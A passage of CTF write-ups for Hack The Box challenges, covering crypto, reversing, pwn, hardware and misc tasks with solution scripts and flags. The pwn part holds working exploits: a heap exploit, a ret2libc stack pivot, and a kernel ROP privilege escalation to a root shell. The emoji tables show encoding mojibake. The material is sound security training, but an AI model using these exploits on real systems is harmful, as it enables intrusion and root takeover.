* Step1: Ciphertext is decrypted as 16 byte blocks in ECB mode `mt`.
* Step2: Each block is then xored w\ the ciphertext of the previous block (in first block, prev block is IV).
If we send a ciphertext of 32bytes of 0s (`(b"\x00"*32).hex()`), return will be:
$$pt = IV \oplus mt+0\oplus mt$$
Here `mt`'s are same since the same ciphertext is used to decrypt. Since `IV == Key` and mt is known `second block == mt^0 == mt` we can xor out the key:
$$key = IV \oplus mt \oplus mt$$
Now we can create a ciphertext of `double_agents.txt` using the key, and read the contents of the said file.
#### Solution Code
```py
#!/usr/bin/python3
from pwn import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad, pad
chal, port = "docker.hackthebox.eu", 30552
chal, port = "localhost", 23333
# context.log_level = 'debug'
# key = bytes.fromhex("93747a51fd89317af82126a1c8fe14c6")
xor = lambda pt, key:b"".join([bytes([i^j]) for i,j in zip(pt,key)])
def getter(ct):
nc = remote(chal, port)
nc.recvuntil(b"\n")
nc.sendline(ct.hex())
return nc.recvall()
if __name__ == '__main__':
# get key
ct = getter((b"\x00"*32))
a = bytes.fromhex(ct[16:-1].decode())
key = xor(a[:16], a[-16:])
# get pt
cipher = AES.new(key, AES.MODE_CBC, key)
ct = cipher.encrypt(pad(b"double_agents.txt", 16))
print(getter(ct))
```
flag:- `HTB{1v_sh01d_b3_r4nd0m}`
### HTBCTF - Locked Out
Our domain has been attacked. An APT group has taken over our server and they have locked us out. Our incident response team was able to find some files added on the upload directory but havent been able to extract any information from them. Could you help us login back? This challenge is started on-demand. This challenge has a downloadable part.
#### Challenge Files
Contains 3 file `encryption.py leaks new_password`. The `leaks` file contains a hex encoded long integer that is encrypted using RSA. The new_password contains a dict with keys `n, rp, rq`.
```py
from Crypto.Util.number import *
from random import getrandbits
import random
import gmpy2
def generate_prime(bits):
m = 2
while True:
a= getrandbits(bits)
a = a**m
prime = None
r = None
for i in range(2*a):
if gmpy2.is_prime(a +i):
prime = a +i
r = i
break
if prime is None: continue
return prime, r
p, rp = generate_prime(512)
q, r q= generate_prime(512)
n = p * q
e = 65537
msg = sys.argv[1].encode()
msg = bytes_to_long(msg)
ct = hex(pow(msg, e,n))
f = open('new_password', 'w')
f.write(ct)
f.close()
f = open('leaks', 'w')
f.write(str({'n':n, 'rp':rp, 'rq':rq}))
f.close()
```
**First Impressions**:
* The password to the site should be stored in the ciphertext.
* The generation of primes is of the form:
$$p = a^{2}+rp \newline q = b^{2}+rq$$
#### Solution
Since the primes used to calculate the modulus is in the form:
$$p=a^{2}+r$$
we can express the product of 2 such primes as:
$$N = (ab)^2 + (a^2rq+b^2rp)+(rprq)$$
We can rearrange the above equation to a quadratic equation where the solutions are `a^2rq` and `b^2rp`:
$$X^2 - (a^2rq+b^2rp)X + ((ab)^2rprq)$$
If we guess `ab^2` we can create the `b` and `c` variables of the equation:
$$b = (a^2rq+b^2rp) = (N-rprq)(mod (ab^2))\newline c = (ab^2)rprq$$
It is possible to brute force for ab since it is close to $N^{1/2}-(rprq)^{1/2}$. With the roots we can now recreate the primes and decrypt the ciphertext.
```py
# run on sage
import json
from Crypto.Util.number import *
with open('leaks','r') as f:
a = json.loads(f.read().replace("\'","\""))
n, rp, rq = a['n'], a['rp'], a['rq']
nr = isqrt(n)
mn = nr-sum([rq//2,rp,1])
mx = nr-isqrt(rp*rq)
for i in range(mn, mx):
ab = i^2
b = (n-(rp*rq))%(ab)
c = ab*rp*rq
d = isqrt((b^2)-(4*c))
root = int(((b+d)/(2*rp))+rq)
if n%root == 0:
break
print(root)
# root = 123880731118078606990137525967538331116275498654165135288667481763468359990787854975994876893087359471477116036463781441086420155388498641200190619570949282848164235074476184966442200869534040008670271367209107524675332904145907801965290873060668160752216813566725872730131480362642158718779920761925401528651
q, p = root, n//root
e = 65537
phi = (p-1)*(q-1)
d = inverse(e, phi)
with open('new_password', 'r')as f:
ct = bytes_to_long(bytes.fromhex(f.read()[2:]))
pt = pow(ct, d, n)
print(long_to_bytes(pt))
# The password is 4p7gr0p0w3ndU
```
flag:- `HTB{15b_4tt4ck5_4r3_c001}`
### HTBCTF - Missing Pieces
There is serious suspicion that John is a double agent. We found the cipher in his trash can. It looks like he extracted the message and forgot to get rid of the evidence. Can you decrypt the secret message?
#### Challenge Files
Contains 1 file `flag.txt`. It contains 32 lists with 255 numbers(0-255) in each list.
**First Impressions**:
The challenge has given 32 lists of length 255 (1 off of 256).
#### Solution
The solution is to find the number that is missing from the list of 255 and convert it to ascii character. Do this for all lists to recreate the flag. A clever solution is to xor all numbers together since xor of all 256 numbers is 0 and any number missing will be `0^chr`.
```py
#!/usr/bin/python3
from functools import reduce
lis = lambda st: [int(i) for i in st[1:-2].split(", ")]
xor = lambda pt, key: b"".join([bytes([i^j]) for i,j in zip(pt, key)])
if __name__ == '__main__':
inp = list(map(lis, open("flag.txt", "r").read().split("\n")[:-1]))
ct = [b"".join([bytes([i[j]]) for i in inp]) for j in range(255)]
print(reduce(xor, ct))
```
flag:- `HTB{m1551ng_v4lu35_m4k3_m3_s1ck}`
## Reversing
### Patch Of Ninja
It is a simple challenge which requires you to patch a memory location to enter a room to get the flag. But since the GameBoy rom loaded all the tilemaps irrespective of the patch. You can use a tilemap editor like [YY-CHR](https://www.romhacking.net/utilities/119/) to view the tilemaps which will give us the flag.

### Confirmation Of Identity
#### Confirmation of Identityβ HTB Finals 2021
Created by: AmunRha
Tags: HTBFinals21, patching, reversing
#### Description
> I wrote this advanced program to only work on my computer but I think I might have made a mistake somewhere, as I can't even confirm my own identity.
#### Challenge overview
The given binary looks for the registry key where the wallpaper location is being set.
The registry key is located at `HKEY_CURRENT_USER\Control Panel\Desktop\Wallpaper`
This is parsed and split to get the wallpaper name with extension, where extension must be `.\proof` . If that is verified the flag is printed out
Once all the debugger checks, and the unnecessary instructions are patched out, the binary file would run
#### Solution
We can go the the registry key manually using registry editor in windows and then change the wallpaper name to `.proof` which will then get passed onto the parser and split up to reach a `strcmp` instruction.
The check will then proceed to check if the extension of the wallpaper is actually `\proof`

But since we cannot supply `\` inside the registry directly as `wallpaper_pic.\proof` due to the parser demanding the wallpaper name then the extension

First the words are split based on the `\`

Second, the word is split based on the `.`
Reading the assembly instruction we come across a particular instruction which doesnt make sense initially,

> `byte ptr [edx+ecx]` points to the character just before `proof` in the memory
So, rather than going into the debugger then changing the memory just after `strcmp` and this particular instruction which will nullify the character before `proof` . We can just patch that byte to store `\` onto that pointed memory.

Patching the byte to store the character `\`

Proof of patch shown at the dump once the patched instruction gets executed

This will pass the above check from the binary hence proceeding over to printing the success message and the flag.

**Flag: `HTB{Id3nt1ty_c0nf1rmat1on}`**
> **Note**: There are other patches applied which are specific for the debugger. The only one patch that is required to make the binary work is the above mentioned one. The other patches with respective to the debugger are `int3` instruction, `cmp` instruction after every debugger check functions.
### Keypad
The binary only takes int as input and on decompiling using IDA we can see that it has a kind of switch case

what this switch case do is it makes var_i =1 where i is the number you have entered for example if i give 1 as input

Then it enters the func `sub_7ef()` inside this func 2 more functions are called one is used to add the input values to the array and the 2nd function prints the flag.

On further analysis I found that input 2 can be used to get the flag and also there is a code which is being repeated 9 times and each time it starts with
`v3=b_j&&!b_10`
On debugging i found that the b_10 starts with 1 and since we are doing a nand operation it gives 0 for all those 10 parts that is being repeated.Because of this all of the if conditions are never met even for the flag().
On further analysis I found that each time we enter a num out of those 9 times each time one number is added to the arr.On more analysis I found that each digit is checked if it is a particular number and if yes then added to the arr.

```c
v171 = byte_205103 && d_8;
byte_205104 = v171;
if ( v171 )
var = 8;
v172 = b_a3 && d_8;
b_a3 = v172;
if ( v172 )
var = 8;
v173 = byte_205104 || b_a3;
byte_205105 = v173;
v174 = b_ad && d_4;
b_ad = v174;
if ( v174 )
var = 4;
v175 = byte_2050B7 && d_1;
byte_2050B7 = v175;
if ( v175 )
var = 1;
v176 = byte_2050C1 && d_8;
byte_2050C1 = v176;
if ( v176 )
var = 8;
v177 = byte_2050CB && !d_8;
byte_2050CB = v177;
v178 = v177 && d_9;
byte_205106 = v178;
if ( v178 )
var = 9;
v179 = byte_2050D4 && d_4;
byte_2050D4 = v179;
if ( v179 )
var = 4;
v180 = byte_2050DE && d_6;
byte_2050DE = v180;
if ( v180 )
var = 6;
v181 = byte_2050E8 && !d_8;
byte_2050E8 = v181;
v182 = v181 && d_9;
byte_205107 = v182;
if ( v182 )
var = 9;
v183 = byte_2050F1 && d_4;
byte_2050F1 = v183;
if ( v183 )
var = 4;
byte_205108 = 0;
if ( byte_205104 )
add2arr(&var);
if ( byte_205104 )
add2arr(&var);
v184 = byte_205103 && !d_8;
byte_205109 = v184;
if ( b_ad )
add2arr(&var);
v185 = byte_2050B8 && !d_9;
byte_2050B8 = v185;
v186 = b_ad || byte_205013 && byte_2050B8;
byte_2050B8 = v186;
if ( byte_2050B7 )
add2arr(&var);
v187 = byte_2050C9 && !d_9;
byte_2050C9 = v187;
v188 = byte_2050B7 || byte_205014 && byte_2050C9;
byte_2050C9 = v188;
if ( byte_2050C1 )
add2arr(&var);
v189 = byte_2050CB && !d_9;
byte_2050CB = v189;
v190 = byte_2050C1 || byte_205015 && byte_2050CB;
byte_2050CB = v190;
if ( byte_205106 )
add2arr(&var);
v191 = byte_2050D8 && !d_9;
byte_2050D8 = v191;
v192 = byte_205106 || byte_205016 && byte_2050D8;
byte_2050D8 = v192;
if ( byte_2050D4 )
add2arr(&var);
v193 = byte_2050E4 && !d_9;
byte_2050E4 = v193;
v194 = byte_2050D4 || byte_205017 && byte_2050E4;
byte_2050E4 = v194;
if ( byte_2050DE )
add2arr(&var);
v195 = byte_2050E8 && !d_9;
byte_2050E8 = v195;
v196 = byte_2050DE || byte_205018 && byte_2050E8;
byte_2050E8 = v196;
if ( byte_205107 )
add2arr(&var);
v197 = byte_2050F5 && !d_9;
byte_2050F5 = v197;
v198 = byte_205107 || byte_205019 && byte_2050F5;
byte_2050F5 = v198;
if ( byte_2050F1 )
add2arr(&var);
v199 = b_a1 && !d_9;
b_a1 = v199;
v200 = byte_2050F1 || b_1a && b_a1;
b_a1 = v200;
v201 = byte_2050B1 && !d_9;
byte_2050B1 = v201;
if ( b_a3 )
add2arr(&var);
```
and then at the end of this function the b_10 is set to 0 when all of the above conditions are true,i.e, the arr is `8,8,4,1,8,9,4,6,9,4` which allows us to print the flag() .
So our input should be `88418946942`
**Flag : `HTB{_3st3r31K3yP4d_}`**
## Pwn
### Digiheap
#### Initial analysis & Reversing
The binary was a 64-bit one with a menu driver, with options to add, edit, delete and view a monster. A monster struct contained 4 integer values for health, attack, defence and speed, and a pointer to a heap chunk which contained an optional `description`. The `add` option allowed us to enter an index less than 10, as well as 4 integer values, and a description of any size less than 0x1000, which would `malloc` the aforementioned size. The `edit` option allowed us to edit the description of a monster at any index in use, and we could only do so once(checked with a global variable). Edit had a clear null byte overflow, as if we entered `size` number of bytes, `description[size]` would be set to 0. the `delete` option freed both the `description` chunk and the `monster` chunk of a particular index, and nulled out the pointer to the monster chunk. The `view` option printed the integer values, and the description(if it existed), if the monster chunk of that particular index existed.
#### Exploitation
Most of the exploitation could be done using the `description` field, as this allowed us to allocate and free chunks of any size. To get a heap leak, we could simply allocate a couple of chunks of the same size, free them, then allocate another one, with only a single byte, say `a` as input. As our input was not null appended, we could simply leak the tcache fd pointer (except the lsb, which is irrelevant), Similarly if we allocated a chunk of size > 0x420, we could leak libc as well, by leaking the unsorted bin fd (main arena pointer).
Now that we had leaks, we had to abuse the null byte overflow via `house of einherjar` and get allocation on `__free_hook`. To do this, we simply had to overflow the `prev_in_use` bit of a chunk, and set the `prev_size` of that chunk to point to a fake chunk we created, which would pass the safe unlink check `(P->fd->bk == P && P->bk->fd == P)`, as well as the `size vs prev_size` check. To do this, we set up 3 `0x100` chunks (the first one containing the fake chunk), and a `0x500` chunk after them (to avoid tcache). Then we edited the 3rd `0x100` chunk to set `prev_size`, and overflow the `prev_in_use` bit of the `0x500` chunk. Then we free the `0x500` chunk, which backward coalesces with the fake chunk. Then, we can free the second `0x100` chunk, and if we allocate a size greater than `0x100`, say `0x200`, we get an overlap with the freed `0x100` chunk. Then we can overwrite tcache fd to `__free_hook`, and get allocation there, overwrite `__free_hook` to system, free any chunk containing `/bin/sh\x00`, and we pop a shell!
#### Exploit script
```python=
#!/usr/bin/python
from pwn import *
import sys
remote_ip, port = 'docker.hackthebox.eu', 30692
binary = './digiheap'
brkpts = '''
'''
elf = ELF("digiheap")
libc = ELF("libc.so.6")
context.terminal = ['tmux', 'splitw', '-h']
context.arch = "amd64"
context.log_level = "debug"
#context.aslr = False
re = lambda a: io.recv(a)
reu = lambda a: io.recvuntil(a)
rl = lambda: io.recvline()
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
if len(sys.argv) > 1:
io = remote(remote_ip, port)
else:
io = process(binary, env = {'LD_PRELOAD' : './libc.so.6'})
def choice(idx):
sla(">> ", str(idx))
def add(idx, description = None, size = 0, val = 1):
choice(1)
sla("index: ", str(idx))
for i in range(4):
sla("value: ", str(val))
if description is not None:
sla("(Y/N): ", "Y")
sla("Size: ", str(size))
sa("description: ", description)
else:
sla("(Y/N): ", "N")
def edit(idx, description):
choice(2)
sla("index: ", str(idx))
sa("description: ", description)
def delete(idx):
choice(3)
sla("index: ", str(idx))
def show(idx):
choice(4)
sla("index: ", str(idx))
if __name__ == "__main__":
add(0, "a"*8, 0x68)
add(1, "b"*8, 0x68)
delete(1)
delete(0)
add(0, "a", 0x68)
show(0)
reu("Description: a")
heap = u64(("\x00" + re(2)).ljust(8,"\x00")) - 0x1300
log.info("Heap : "+hex(heap))
delete(0)
add(0, "temp", 0x500)
add(1, "temp", 0x10)
delete(0)
add(0, "a", 0x500)
show(0)
reu("Description: a")
libc.address = u64(("\x00" + re(5)).ljust(8,"\x00")) - 0x1e4c00
log.info("Libc : "+hex(libc.address))
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
delete(0)
delete(1)
add(0, "useless", 0x400)
fake = p64(0)
fake += p64(0x325)
fake += p64(heap + 0x18c0)
fake += p64(heap + 0x18c0)
add(1, fake, 0x108)
add(2, "temp", 0x108)
add(3, "temp", 0x108)
add(4, "overflow", 0x4f8)
add(5, "temp", 0x108)
add(6, "/bin/sh\x00", 0x28)
payload = "a"*0x100 + p64(0x320)
edit(3, payload)
delete(4)
delete(5)
delete(2)
payload = "a"*0xf8
payload += p64(0x111)
payload += p64(free_hook)
add(2, payload, 0x200)
add(4, p64(system), 0x108)
add(5, p64(system), 0x108)
delete(6)
io.interactive()
```
#### Flag
```
HTB{h0us3_Of_D0ubl3_NuLL}
```
### Reality Check
The binary has 2 main functions `fake_reality()` & `reality()`. We have a libc leak in the former and a stack overflow in the latter , moreover `reality` ends up calling `fake_reality` at the end.
so the basic idea is to call `reality` -> get libc leak -> call `fake_reality`-> overflow
since we only have a limited overflow, we first call read on bss, to read in our payload, and then pivot the stack over to the bss to return to our ropchain. As for the payload ,since we already have a libc leak, we can just run a ret2libc.
#### Script
```python=
#!/usr/bin/env python3
from pwn import *
e = ELF("./reality_check")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
context.binary = e
brkpts = '''
b*0x804925c
b*0x804924f
'''
def conn():
if args.LOCAL:
return process([ld.path, e.path], env={"LD_PRELOAD": libc.path})
else:
return remote("docker.hackthebox.eu", "30606")
io = conn()
re = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
rl = lambda : io.recvline()
s = lambda a: io.send(a)
sl = lambda a: io.sendline(a)
sla= lambda a,b: io.sendlineafter(a,b)
sa = lambda a,b: io.sendafter(a,b)
bss = 0x0804c000
read = 0x804924f
if __name__ == "__main__":
#gdb.attach(io,brkpts)
sla("> ","2")
ru("more.. ")
leak = rl().strip()[1:-1]
log.info("libc @ "+leak.decode())
base = int(leak,16) - 0x50c60
sla("> ","1")
sys = base+0x3ce10
binsh = base+0x17b88f
log.info("system @ "+hex(sys))
log.info("/bin/sh @ "+hex(binsh))
payload = b"A"*58 + p32(bss+0x800+0x400) +p32(0x8049249)
#print(len(payload))
sleep(1)
sa("> ",payload)
payload = p32(sys)+b"XXXX"+p32(binsh)
p2 = b"xxxx"+payload + b"A"*(58-16) +p32(0x804c1c6+0x600+0x400)+p32(0x804925b)
s(p2)
io.interactive()
```
#### Flag
```
HTB{m0ms_sp4gh3tt1_1s_f4k3!}
```
### Baby beta driver
#### Initial analysis
We are given the following files:
- bzImage
- initramfs.cpio
- run_challenge.sh
The module registers a character device `baby_beta_driver`. We are given two operations using ioctl: Store and Read.
This is the ioctl code:
```c
mutex_lock(&safety_lock);
copy_from_user(&req, arg, 16LL);
if ( cmd == 0x1337C0DE )
{
beta_storage.size = req.size;
if ( beta_storage.data )
kfree();
v5 = _kmalloc(beta_storage.size, 3264LL);
beta_storage.data = v5;
if ( req.transfer_data && beta_storage.size <= 0x7FFFFFFFuLL )
copy_from_user(v5, req.transfer_data, beta_storage.size);
printk(&unk_290);
goto LABEL_10;
}
if ( cmd != 0xC0DE1337 )
return -1LL;
v6 = req.size;
if ( req.size <= beta_storage.size )
{
memcpy(tempstorage, beta_storage.data, req.size);
if ( req.transfer_data )
{
if ( v6 <= 0x30uLL )
copy_to_user(req.transfer_data, tempstorage, v6);
}
printk(&unk_2C1);
LABEL_10:
mutex_unlock(&safety_lock);
return 1LL;
```
#### Store
Giving `0x1337C0DE` frees the global variable if there is already a chunk. Malloc a chunk of size provided by user and then copies `size` bytes into it.
The maximum size allowed is 0x7FFFFFFF.
#### Read
Giving `0x1337C0DE` copies `size` bytes onto stack (size 48) where `size` is provided by user. Next it copies this data from stack to user. This copy only
happens if the size provided by user is less that 0x30.
#### Bug
From this, it is pretty obvious we have a huge stack overflow. Since the stack buffer size is only 48 and we can give a huge input, we can do a classic kernel rop
to call `commit_cred(prepare_kernel_creds(0))`.
#### Exploitation
Next thing we need to utilize the overflow is a leak. For this, we can use the fact that return value of `copy_from_user` is not checked for failure.
So the idea is to create a struct of heap which will contain pointers. Then free that struct and call `Store` with the same size. In this we will give an
invalid memory (0) so that copy_from_user fails. With this, we have an uninitilaized memory and we can leak kernel pointer.
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdlib.h>
#include <string.h>
#include <sys/shm.h>
#define ADD 0x1337C0DE
#define COPY 0xC0DE1337
#define INVALID -1
unsigned long pop_rdi,prepare_kernel_cred,commit_creds,pop_rcx,mov_rdi_rax,kpti_trampoline;
unsigned long user_cs,user_sp,user_ss,user_rflags,fd;
unsigned long kbase;
typedef struct req {
int size;
char* transfer_data;
} req;
void add(unsigned int size, char* transfer_data){
req r;
r.size = size;
r.transfer_data = transfer_data;
int ret = ioctl(fd,ADD,(unsigned long )&r);
puts("[+] Add ok!");
}
char* copy(int size,char* transfer_data){
req r;
r.size = size;
r.transfer_data = transfer_data;
int ret = ioctl(fd,COPY,(unsigned long)&r);
puts("[+] Copy ok!");
return transfer_data;
}
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
void Open(){
fd = open("/dev/baby_beta_driver",O_RDWR);
if(fd<0){
perror("[-] Error in hackme");
exit(INVALID);
}
puts("[+] Opened blazeme");
}
void priv_esc(){
if(getuid()==0){
puts("[+] Getting u root shell");
char *argv[] = {"/bin/sh", NULL};
char *envp[] = {NULL};
execve("/bin/sh", argv, envp);
}
else{
perror("[-] Something's wrong!");
exit(INVALID);
}
}
int main(){
save_state();
Open();
int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
close(ptmx);
unsigned long leak_buf[0x30/8] = {0};
add(0x2e0,(char *)0);
copy(0x30,(char *)leak_buf);
for(int i=0;i<sizeof(leak_buf)/8;i++){
printf("[*] leak_buf[%d] = 0x%lx\n",i,leak_buf[i]);
}
kbase = leak_buf[3] - 0x623cc0L;
printf("[+] Kbase -> 0x%lx\n",kbase);
commit_creds = kbase + 0x53d00L;
prepare_kernel_cred = kbase + 0x53bb0L;
pop_rdi = kbase + 0x11a54dL;
pop_rcx = kbase + 0x18b1f3L;
mov_rdi_rax = kbase + 0x1af61aL;
kpti_trampoline = kbase + 0x200cb0L;
ulong rop[0x200] = {0};
char buf[200]={0};
int i = 8;
for(int j=0;j<8;j++)
rop[j] = 0x6161616161616161;
rop[i++] = pop_rdi;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = pop_rcx;
rop[i++] = 0;
rop[i++] = mov_rdi_rax;
rop[i++] = commit_creds;
rop[i++] = kpti_trampoline + 22;
rop[i++] = 0; //rax
rop[i++] = 0; //rdi
rop[i++] = (unsigned long)&priv_esc;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
add(0x400,(char *)rop);
copy(300,(char *)buf);
}
```
Running this locally , we can see that we get a root shell almost immediately.
#### On the server
Since we have to send raw bytes, we have to somehow reduce the size of the binary. For this we use `diet libc` and the final size was 20k.
```py
#!/usr/bin/env python2
from pwn import *
def send_command(cmd, print_cmd = True, print_resp = False):
if print_cmd:
log.info(cmd)
s.sendlineafter("$", cmd)
resp = s.recvuntil("$")
if print_resp:
log.info(resp)
s.unrecv("$")
return resp
def send_file(name):
file = read(name)
f = b64e(file)
send_command("rm /home/ctf/a.gz.b64")
send_command("rm /home/ctf/a.gz")
send_command("rm /home/ctf/a")
size = 800
for i in range(len(f)/size + 1):
log.info("Sending chunk {}/{}".format(i, len(f)/size))
send_command("echo -n '{}'>>/home/ctf/a.gz.b64".format(f[i*size:(i+1)*size]), False)
send_command("cat /home/ctf/a.gz.b64 | base64 -d > /home/ctf/a.gz")
send_command("gzip -d /home/ctf/a.gz")
send_command("chmod +x /home/ctf/a")
def exploit():
send_file("exp.tar.gz")
#send_command("/home/note/a")
s.sendline("/home/ctf/a")
s.interactive()
if __name__ == "__main__":
#context.log_level = 'debug'
s = remote("docker.hackthebox.eu",30704)
exploit()
```
#### Flag
Running this on server , we get the flag - `HTB{SmAP+sM3P+kPt1=K3rN3l_R0P_15_FUN!!!}`
## Hardware
### Remote
#### Challenge :
A remote facility is secured by a two-part access control system. The exterior device contains a keypad that is connected to a microcontroller, which sends entered passwords to a remote API for authorization. During an operation, we succeeded in tapping the connection between the keypad and embedded device. The only thing preventing us from gaining access to the facility now is to decode the obtained data and send the password to /api.
#### Challenge files :
a) `keypad.sal` , Saleae Logic capture file

b) `wrapper.py`
````py
import requests
URL = 'docker.hackthebox.eu'
PORT = 30000 # change me
credentials = {'password': "password_here"}
req_url = "http://%s:%s/api" % (URL, PORT)
response = requests.post(req_url, data = credentials)
print(response.text)
`````
#### Initial Analysis
Looking at the logic capture,there are 8 channels. Also the channels don't seem to match any known protocols.
The `wrapper.py` is used to get the flag by filling the password and running the file.
#### Solution
Looking into the challenge description and the given files, it can be concluded that a keypad data has been tapped. So considering a 4 X 4 Matrix keypad, it can be observed that there are a total of 8 lines (ROW + COLUMN).Which can be related to the 8 channels in the logic file given.

For the keypad, all C channels are taken high, which can be related to the lower high channels observed in the logic file. so the lower D4,D5,D6,D7 channels are taken as C1,C2,C3 and C4 respectively and the upper D0,D1,D2,D3 channels are taken as R1,R2,R3 and R4 respectively.
It can also be observed that at a particular instance only two of eight channels match.Hinting the press of a particular key.
Thus mapping the two channels C and R a key on the keypad is found.
The password is :- 5242AD401BA34680A782324AD010203ACD
Filling the found password in the `wrapper.py` file and running the program we get the flag.
flag:- `HTB{m4721c35_423_v32y_c0mm0n_1n_3m83dd3d_d3v1c35!@&325$}`
## Misc
### mathemoji
Time for an emoji-test! No need to worry.. You have 500 seconds to answer 100 questions. Five seconds for each question is more than enough! You need to score 100/100 in order to win an amazing prize! Good luck!
`nc docker.hackthebox.eu 30736`
**First Impressions**:
* The server sends the a arithmetic equation with emojis.
* we can abserve that the they are using emojis just instead of numerical digits.
* we have to calculate and send the answer to server.
* if we send wrong answer the server prints the answer
#### Solution
Since there are only 10 digits we can manually get the equations and correct answers (by sending wrong answers we get right answers from server) and make a lookup table
**like this:**
```py
lookup = {'π': 0, 'π¨': 1, 'β': 2, 'π¦': 3, 'π₯': 4, 'β': 5, 'π§': 6, 'πΊ': 7, 'πΎ': 8, 'π¦': 9}
```
now we know the digits i just wrote a small function `f` that takes and `emoji integer` and gives the `decimal integer` in string format
```py
def f(s): return str(int(''.join(map(lambda i : str(lookup[i]) if i in lookup else '',s))))
```
and an other function `g` to parse the `emoji expression` and get back the `integer expression` in string format so that i can use `eval`
```py
def g(s):
s = s.split(' ')
exp = []
for i in s:
if i[0] in lookup:
exp.append(f(i))
else:
exp.append(i)
return(' '.join(exp))
```
using these two functions now I'm able to get the correct solution for each and every quetion sent by the server fo i looped it to 100 times to ger the flag
#### Solution Script:
```py
lookup = {'π': 0, 'π¨': 1, 'β': 2, 'π¦': 3, 'π₯': 4, 'β': 5, 'π§': 6, 'πΊ': 7, 'πΎ': 8, 'π¦': 9}
def f(s):
return str(int(''.join(map(lambda i : str(lookup[i]) if i in lookup else '',s))))
def g(s):
s = s.split(' ')
exp = []
for i in s:
if i[0] in lookup:
exp.append(f(i))
else:
exp.append(i)
return(' '.join(exp))
io = remote('docker.hackthebox.eu',30736)
def it():
print(io.recvuntil(b':\n').decode())
eq = io.recvuntil(b'\n').decode().strip()
print(eq)
print(io.recvuntil(b'Answer:\n>').decode(),end=' ')
ans = str(eval(g(eq)))
print(ans)
io.sendline(ans)
for i in range(100):
it()
io.interactive()
```
> `flag : HTB{3m0j1s_R_fUn_4nd_m4k3_m3_c0d3_f4st}`